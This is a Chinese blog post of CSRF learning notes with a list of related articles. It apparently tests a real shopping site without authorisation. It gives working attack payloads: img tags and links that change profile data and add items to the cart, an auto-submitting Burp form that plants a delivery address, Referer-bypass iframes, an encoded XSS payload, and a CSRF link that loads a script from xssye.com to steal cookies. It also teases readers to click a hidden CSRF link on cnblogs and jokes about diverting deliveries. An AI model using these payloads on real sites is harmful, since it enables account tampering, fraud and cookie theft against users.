参考文章：

What-是什么

CSRF（Cross-site request forgery）跨站请求伪造。攻击者通过构造特殊链接或者页面，盗用用户身份，以合法名义完成一些非法勾当。

大致流程：

  • 正常用户访问并登陆 A 网站

  • 于此同时，正常用户被攻击者欺骗

    • 第一种：访问恶意网站

      恶意网站中存在着恶意代码，会向 A 网站发起请求，比如说转账，发表评论，发布文章、关注用户等等一些正常的操作。由于用户已登录 A 网站存储了 A 网站的 cookie，所以浏览器会带着用户的 cookie 去完成这些操作。

    • 第二种：打开恶意链接

      在 A 网站上的一些操作是通过 GET 请求的方式完成的，比如说关注用户 www.xxx.com/like.php?target_user=xxx，攻击者通过构造该链接然后将其发送给受害用户，并带上一些迷惑性的话语，例如：免费看 VA 大片等，受害用户出于好奇心的驱使，点击了该链接，浏览器便带着用户的 cookie 去完成关注操作，而用户却浑然不知，只是在心中默骂了一句：卧槽，说好的大片呢。

  • 至此，一次 CSRF 攻击已经完成。

Why-为什么

怪就怪网站没有做验证，怪就怪浏览器记住了我的 cookie，怪就怪黑客说的话太诱人，怪就怪用户好奇心太重

Where-在哪里

  • 购物类网站

    • 添加/删除 购物车、收货地址、订单
    • 关注店铺

  • 论坛类网站

    • 关注博主
    • 发表/删除 文章、评论

  • Jsonp劫持、CORS配置错误

  • 用户与服务器交互之处

How-怎么办

  • GET 类型

    • 构造链接发送给用户
    • 构造 HTML 标签

      <image>、<audio>、<video>、<object>、<script>

  • POST 类型

    • 构造表单

Solutions-解决的办法

  • 验证 HTTP Referer 字段

  • 在请求地址中添加 token 并验证

  • 验证码、、加密参数

Steps-测试流程

  • 抓包，发送到 Reperater 模块
  • go一下查看正常请求的响应
  • 检查请求头中的 Referer、Oringin 头
    • 没有就过
    • 有就删除字段再发包测试一下
  • 检查参数中是否有疑似 token 的字段
    • 没有就过
    • 有就删除参数再发包测试一下
  • 当删除无法通过时，请看下面文章的 Advanced-提升 这个地方

Example-实例

实例测试某购物网站：

  • 第一处 鸡肋个人信息修改

点击保存，抓包

发送到 Reperater 模块后，GO一下，可以看到正常请求的响应为：

jQuery18307501563792125162_1593849507457({"isOk":true,"message":"\u4fee\u6539\u7528\u6237\u4fe1\u606f\u6210\u529f"})

观察请求包，好家伙，一来就是个 GET 类型的，可以看到在请求参数中并没有疑似 token 字段，于是下一步，删除请求中的 Referer 头后重新发包

可以看到响应包与之前没有删除 Referer 的响应包一样，那么基本上就可以判断存在 CSRF 漏洞了

于是便可以构造

1.链接，其中将 realName 字段修改为 曹植(%E6%9B%B9%E6%A4%8D) 以便于查看 CSRF 是否成功

https://user.xxx.com/member/profile/updateUserInfo?time=0.2890179829503331&callback=jQuery18309406894391708689_1593849181119&hideNickName=hahahahaha&nickName=hahahahaha&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593849189035

2.构造 HTML 标签，插入到恶意VA网站等

<img src="https://user.xxx.com/member/profile/updateUserInfo?time=0.2890179829503331&callback=jQuery18309406894391708689_1593849181119&hideNickName=hahahahaha&nickName=hahahahaha&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593849189035">

模拟受害者点击该链接或者浏览包含该 HTML 代码的恶意网页，可以看到个人用户信息中 曹植 已经篡位了，取代了 曹操



  • 第二处 新增收货地址（接下来的操作步骤会省略一点）



可以看到这里 既有 token 又有 YII_CSRF_TOKEN 还有 Referer ，可惜并没有做验证操作，删除 Referer 头跟 token、YII_CSRF_TOKEN 字段即可

在尝试完 POST 请求方式是否可以改成 GET 失败之后，考虑构造 form 表单，这里利用 BURP 的构造 POC 功能



简单更改一下代码，弄成不需要用户点击自动提交

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="https://user.xxx.com/member/Address/addAddress" method="POST" type="hidden" id='test'>

      <input type="hidden" name="consignee" value="�›¹�¤" />

      <input type="hidden" name="province" value="2" />

      <input type="hidden" name="city" value="36" />

      <input type="hidden" name="zone" value="425" />

      <input type="hidden" name="detail_address" value="�–°�¤§�“" />

      <input type="hidden" name="apply_mobile" value="13888888888" />

      <input type="hidden" name="apply_telpone" value="" />

      <input type="hidden" name="is_employees" value="" />

      <input type="hidden" name="apply_email" value="" />

      <input type="hidden" name="apply_zipcode" value="" />

      <input type="hidden" name="identity_card" value="" />

      <input type="hidden" name="identity_frontpic" value="" />

      <input type="hidden" name="idCard_frontpic" value="" />

      <input type="hidden" name="identity_backpic" value="" />

      <input type="hidden" name="idCard_backpic" value="" />

      <input type="hidden" name="defaultAddress" value="1" />

      <input type="hidden" name="address_id" value="" />

    </form>

  </body>

    <script>document.getElementById("test").submit()</script>

</html>

OK，然后把页面放到恶意网站上，诱使用户点击

可以看到设置成了默认地址，万一有个用户没注意，直接把东西发货给我那岂不是美滋滋。嗯！牢饭真香

  • 第三处 添加商品到购物车

同第一处一样，在添加商品到购物车是抓包，构造链接诱使用户点开

1.构造链接

http:?/bgact.xxxx.com/cart/addGoodsToCartByAjax?callback=jQuery18308528674476772126_1593854859975&goodsInfo%5B0%5D%5BproductId%5D=633433&goodsInfo%5B0%5D%5BsizeCode%5D=46&goodsInfo%5B0%5D%5BcolorCode%5D=10&number=2&productType=1&channelCode=HQ01S116&extensionId=1&cartType=&_=1593854955451

2.构造 html 代码，插入到恶意VA网站等

<img src="https://bgact.xxxx.com/cart/addGoodsToCartByAjax?callback=jQuery18308528674476772126_1593854859975&goodsInfo%5B0%5D%5BproductId%5D=633433&goodsInfo%5B0%5D%5BsizeCode%5D=46&goodsInfo%5B0%5D%5BcolorCode%5D=10&number=2&productType=1&channelCode=HQ01S116&extensionId=1&cartType=&_=1593854955451">

这种应该算是挨得到灰黑产的边吧，我也不清楚，没做过

  • 第四处 刷赞

同第三处一样，构造链接或者 HTML 诱使他人点击即可

  • 其他不想找了

  • 意外发现 XSS

    jsonp 处的双重 URL 编码绕过

    https://bgact.xxx.com/collection-product/addCollectionProduct?callback=%3Cimg/src/onerror=%2561lert%25281%2529%3E&goods_sn=661642&_=1593856460094

    还有好多地方有 XSS，个人信息、收货地址都有

因为自己也是刚开始学，所以选了一个安全防护较弱的网站找的例子

Advanced-提升

  • Referer 问题

    1. 未考虑 Referer 为空的情况
    • 在网页中添加<meta name="referrer" content="never">可置 Referer 为空
    • 在通过跨协议发起请求时，发送的http请求里的Referer为空，ftp://、http://、https://、file://、javascript:、data:

      例如：
    <iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'">
    
</iframe>
    

    <html>
    
    <body>
    
        <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    
    </body>
    
</html>
    1. 判断 Referer 是否为本站某域
    • 子域上找一个 XSS 漏洞
    • 子域上找一个能插入 html 代码<a href='xxx.com'>、<img src='xxx.com'>等能发起请求的标签
    1. 判断 Referer 是否存在某关键词/某域名

    例如要求 Referer 内存在存在 xxx.com 这个关键词(一般就是要求包含主域名关键字)

    • XSS
    • 在恶意网站上新建一个xxx.com目录，然后把存有造成 CSRF 的恶意代码的 html 文件存放在 xxx.com 目录,即可绕过

    例如要求 Referer 以 xxx.com 开头

    • 恶意网站申请一个 xxx.com.eval.com 的子域名

    注意：这里的 XSS 并不是self-XSS

  • Token 问题

    • 无效 token

      重复利用或者删掉就好了
    • 有效 token

      一般都是要结合 XSS 才行，利用条件苛刻，场景少。其实稍微想一下就可以知道，要得到 token，用户就必须要到提交表单的页面，而且这个表单页面也必须要有 xss 漏洞，还得是黑客可控。再者即使这些条件都满足，黑客想通过该 token 来提交表单的时候，万一后端会验证该 token，将其与对应表单提交的数据比如商品 id 什么的做校验，那么该 token 的唯一作用便是提交该商品的订单，而无法任意添加其他商品。再者，既然用户都来到了提交该表单的页面了，说明有意愿是会提交该表单的，那我们拿到 token 相当于只能帮用户自动提交表单。真好。

CSRF + self-XSS 组合拳（用处：打其他用户 cookie，一般只会针对单个用户）

还是之前那个网站，个人信息页面昵称处有个 self-XSS，打不到别人的 cookie，但是由于此处存在着 CSRF 漏洞，便可以结合 CSRF 与 XSS。

构造包含 XSS 代码的 CSRF 链接即可

https://user.xxx.com/member/profile/updateUserInfo?time=0.09009233029132824&callback=jQuery18309152739801311784_1593930781046&hideNickName=r0oki3&nickName=r0oki3%22%3E%3CsCRiPt+sRC%3D%2F%2Fxssye.com%2FTest%3E%3C%2FsCrIpT%3E%3C%22&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593930980030

诱导受害人点击即可在其个人信息页面添加 XSS 代码，一旦受害人点击查看个人信息，便可获取 cookie 等信息

XSS + CSRF （用处：批量给其他用户造成 CSRF，针对的是所有访问了包含该 XSS 代码页面的用户）

用于刷赞、修改密码、恶意评论等等其他操作

Surprise-意外收获

发现一个史诗级接口，有 jsonp 劫持，而且返回的内容也是极其的阔怕滴

没见过这么强的接口吧，密码都给你返回了，解个 md5 明文密码就出来了

小秘密：

博客园关注用户的地方也有 CSRF

不信你就点开看看传送门

然后点开我的主页，你就会发现，嘿嘿嘿

CSRF 跨站请求伪造学习笔记的更多相关文章

  1. CSRF(跨站请求伪造)学习总结

    前言 参考大佬的文章,附上地址 https://www.freebuf.com/articles/web/118352.html 什么是CSRF? CSRF,中文名字,跨站请求伪造,听起来是不是和XS ...

  2. SSRF 跨站请求伪造学习笔记

    参考文章: 了解SSRF,这一篇就足够了 SSRF 学习之路 SSRF绕过方法总结 Weblogic SSRF漏洞 What-是什么 SSRF(Server-Side Request Forgery) ...

  3. django上课笔记3-ORM补充-CSRF (跨站请求伪造)

    一.ORM补充 ORM操作三大难点: 正向操作反向操作连表 其它基本操作(包含F Q extra) 性能相关的操作 class UserInfo(models.Model): uid = models ...

  4. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结（转载）

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  5. python 全栈开发，Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)

    一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...

  6. Web框架之Django_09 重要组件（Django中间件、csrf跨站请求伪造）

    摘要 Django中间件 csrf跨站请求伪造 一.Django中间件: 什么是中间件? 官方的说法:中间件是一个用来处理Django的请求和响应的框架级别的钩子.它是一个轻量.低级别的插件系统,用于 ...

  7. Web框架之Django重要组件（Django中间件、csrf跨站请求伪造）

    Web框架之Django_09 重要组件(Django中间件.csrf跨站请求伪造)   摘要 Django中间件 csrf跨站请求伪造 一.Django中间件: 什么是中间件? 官方的说法:中间件是 ...

  8. SpringSecurity原理解析以及CSRF跨站请求伪造攻击

    SpringSecurity SpringSecurity是一个基于Spring开发的非常强大的权限验证框架,其核心功能包括: 认证 (用户登录) 授权 (此用户能够做哪些事情) 攻击防护 (防止伪造 ...

  9. 教你轻松解决CSRF跨站请求伪造攻击

    摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...

随机推荐

  1. 原生js ajax 封装

    首先我们先了解ajax的get和post请求分别是怎样请求数据的 get请求 let ajx = new XMLHttpRequest() //创建ajax实例 /*打开需要请求的地址,可以有三个参数 ...

  2. iOS－Code Data的快速体验

    Code Data Core Data 是iOS SDK 里的一个很强大的框架,允许程序员以面向对象的方式储存和管理数据.使用Core Data框架,程序员可以很轻松有效地通过面向对象的接口管理数据 ...

  3. Cacti断图、大量报错故障

    一.Cacti日志出现大量错误 最近查看Cacti日志,出现大量红色告警,并且每五分钟出现1次,虽然不影响流量的查看,但是肯定会有问题. 错误日志如下 ERROR: A DB Exec Failed! ...

  4. 线程的状态及sleep、wait等方法的区别

    1.创建状态 使用 new 关键字和 Thread 类或其子类建立一个线程对象后,该线程对象就处于新建状态.它保持这个状态直到程序 start() 这个线程. 2.就绪状态 当线程对象调用了start ...

  5. electron-vue报错：Webpack ReferenceError: process is not defined

    electron-vue报错:Webpack ReferenceError: process is not defined 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总 ...

  6. abp-CMS模块-广告

    无论是开发app还是网站,可能都需要一个广告功能,比如我们常见的在首页有个轮播广告,里面会轮播显示多个图片.还有比如一个新闻门户网站 很常见的 banner横幅广告,还有js特效广告等.本篇说说在ab ...

  7. @uoj - 310@ 【UNR #2】黎明前的巧克力

    目录 @description@ @solution@ @accepted code@ @details@ @description@ Evan 和 Lyra 都是聪明可爱的孩子,两年前,Evan 开 ...

  8. @atcoder - AGC029F@ Construction of a tree

    目录 @description@ @solution@ @accepted code@ @details@ @description@ 给定 N - 1 个 {1, 2, ..., N} 的子集,第 ...

  9. 分析ThreadLocal的弱引用与内存泄漏问题

    目录 一.介绍 二.问题提出 2.1内存原理图 2.2几个问题 三.回答问题 3.1为什么会出现内存泄漏 3.2若Entry使用弱引用 3.3弱引用配合自动回收 四.总结 一.介绍 之前使用Threa ...

  10. cookie常用函数

    cookie常用函数 web_add_cookie:添加新的cookie或修改已经存在的cokkies web_remove_cookie:删除指定的cookie web_cleanup_cookie ...